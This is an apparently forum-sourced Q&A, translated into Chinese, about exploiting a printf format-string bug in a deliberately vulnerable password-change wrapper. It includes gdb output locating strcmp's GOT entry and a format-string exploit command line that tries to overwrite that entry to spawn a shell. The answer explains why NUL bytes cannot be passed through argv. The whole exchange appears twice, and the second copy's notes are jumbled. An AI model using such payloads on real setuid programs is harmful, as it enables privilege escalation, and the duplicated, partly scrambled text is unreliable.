写入以空字节开头的内存
Writing to memory beginning by null bytes
假设这段代码:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
char fonction[50] = "/usr/bin/passwd ";
char messageAccueil[100] = "changement du mot de passe de : ";
if(argc == 1){
printf("vous devez passer un username en parametre \n");
return 1;
}
printf(messageAccueil);
printf(argv[1]); //<-- format string vulnerability here !!
if(strcmp(argv[1], "root")==0){
printf("vous ne pensiez quand meme pas pouvoir changer le mot de passe de root si facilement ?\n");
return 1;
}
printf("\n");
strncat(fonction,argv[1],38);
system(fonction);
return 0;
}
我想利用格式化字符串漏洞执行shell,
因此,我想通过存储在环境变量中的 shell 代码地址重写 GOT 中的 strcmp
函数地址。
gdb
给我:
(gdb) info functions
0x0000000000400570 strcmp@plt
(gdb) disas 0x400570
Dump of assembler code for function strcmp@plt:
0x0000000000400570 <+0>: jmp QWORD PTR [rip+0x20070a]#0x600c80 <strcmp@got.plt>
0x0000000000400576 <+6>: push 0x6
0x000000000040057b <+11>: jmp 0x400500
End of assembler dump.
所以我想把我的shell代码地址写到0x00600c80
如何将 nullbyte 传递到我的 ./changepasswd
文件?
我实际上正在尝试这个漏洞:
/changepasswd $(echo -e '\x80\x0c\x60\x00____\x84\x0c\x60\x00')%65527d%136$x%59017d%137$x
这个给我地址600c845f
但是\x00
没有影响,没有入栈。
我发现以 00 开头的地址可能是 ascii 装甲问题,但我的系统中完全没有 exec-shield 选项。
所以我正在寻找一种方法将 00 写入我的堆栈 或让我的 GOT 地址由 00 以外的其他内容启动。 ..
这里有两个问题。或者,更好地说,两种不可能。
首先,有一个 shell 问题:如何将包含 NUL 的字符串作为命令行参数传递给实用程序。
Shell变量不能包含NUL
s,所以没有办法构造参数字符串并将其作为参数传递。 [注 1] 但是,您可以构造一个包含 NUL
的流并将其通过管道传输到某些实用程序的 stdin
中。剩下的只是找到一个实用程序,将其输入转换为其他实用程序的命令行参数;那将是 xargs
。因此,您可以尝试以下操作:
printf '[=10=]This is an argument' | xargs -I{} ./victim {}
然而,那是行不通的(大多数 xargs
的实现甚至不允许你尝试 [注 2]),因为第二个问题:argv
参数main
是一个由 NUL
终止的 字符串组成的数组,因此每个命令行参数都以第一个 NUL
终止。因此,即使您设法找到将所有字节传递到 argv
数组的方法,实用程序也会将 NUL
视为参数的终止,而不是参数的一部分。 (例如,printf(argv[1])
将从第一个参数开始打印字节,直到到达 NUL
;NUL
表示格式字符串结束。)
但是你不会找到这样做的方法,因为 exec*
系统库函数(其中一个是将参数传递给另一个可执行文件所必需的)也会处理 NUL
作为终止相应的论点。由于exec*
函数需要将参数复制到新的可执行映像的地址space中,当到达参数末尾时,复制将终止, NUL
之后的任何字节将不被复制。
备注:
Shells 有不同的方法来处理使用命令替换插入 NUL
s 的尝试。例如,Bash 只删除 NUL
,但其他 shell 可能会在第一个 NUL
.
处终止替换
郑重声明,xargs
的 Gnu 实现将产生以下有用的消息:
xargs: Warning: a NUL character occurred in the input. It cannot be passed through in the argument list. Did you mean to use the --null option?
假设这段代码:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
char fonction[50] = "/usr/bin/passwd ";
char messageAccueil[100] = "changement du mot de passe de : ";
if(argc == 1){
printf("vous devez passer un username en parametre \n");
return 1;
}
printf(messageAccueil);
printf(argv[1]); //<-- format string vulnerability here !!
if(strcmp(argv[1], "root")==0){
printf("vous ne pensiez quand meme pas pouvoir changer le mot de passe de root si facilement ?\n");
return 1;
}
printf("\n");
strncat(fonction,argv[1],38);
system(fonction);
return 0;
}
我想利用格式化字符串漏洞执行shell,
因此,我想通过存储在环境变量中的 shell 代码地址重写 GOT 中的 strcmp
函数地址。
gdb
给我:
(gdb) info functions
0x0000000000400570 strcmp@plt
(gdb) disas 0x400570
Dump of assembler code for function strcmp@plt:
0x0000000000400570 <+0>: jmp QWORD PTR [rip+0x20070a]#0x600c80 <strcmp@got.plt>
0x0000000000400576 <+6>: push 0x6
0x000000000040057b <+11>: jmp 0x400500
End of assembler dump.
所以我想把我的shell代码地址写到0x00600c80
如何将 nullbyte 传递到我的 ./changepasswd
文件?
我实际上正在尝试这个漏洞:
/changepasswd $(echo -e '\x80\x0c\x60\x00____\x84\x0c\x60\x00')%65527d%136$x%59017d%137$x
这个给我地址600c845f
但是\x00
没有影响,没有入栈。
我发现以 00 开头的地址可能是 ascii 装甲问题,但我的系统中完全没有 exec-shield 选项。
所以我正在寻找一种方法将 00 写入我的堆栈 或让我的 GOT 地址由 00 以外的其他内容启动。 ..
这里有两个问题。或者,更好地说,两种不可能。
首先,有一个 shell 问题:如何将包含 NUL 的字符串作为命令行参数传递给实用程序。
Shell变量不能包含NUL
s,所以没有办法构造参数字符串并将其作为参数传递。 [注 1] 但是,您可以构造一个包含 NUL
的流并将其通过管道传输到某些实用程序的 stdin
中。剩下的只是找到一个实用程序,将其输入转换为其他实用程序的命令行参数;那将是 xargs
。因此,您可以尝试以下操作:
printf '[=10=]This is an argument' | xargs -I{} ./victim {}
然而,那是行不通的(大多数 xargs
的实现甚至不允许你尝试 [注 2]),因为第二个问题:argv
参数main
是一个由 NUL
终止的 字符串组成的数组,因此每个命令行参数都以第一个 NUL
终止。因此,即使您设法找到将所有字节传递到 argv
数组的方法,实用程序也会将 NUL
视为参数的终止,而不是参数的一部分。 (例如,printf(argv[1])
将从第一个参数开始打印字节,直到到达 NUL
;NUL
表示格式字符串结束。)
但是你不会找到这样做的方法,因为 exec*
系统库函数(其中一个是将参数传递给另一个可执行文件所必需的)也会处理 NUL
作为终止相应的论点。由于exec*
函数需要将参数复制到新的可执行映像的地址space中,当到达参数末尾时,复制将终止, NUL
之后的任何字节将不被复制。
备注:
Shells 有不同的方法来处理使用命令替换插入
处终止替换NUL
s 的尝试。例如,Bash 只删除NUL
,但其他 shell 可能会在第一个NUL
.郑重声明,
xargs
的 Gnu 实现将产生以下有用的消息:xargs: Warning: a NUL character occurred in the input. It cannot be passed through in the argument list. Did you mean to use the --null option?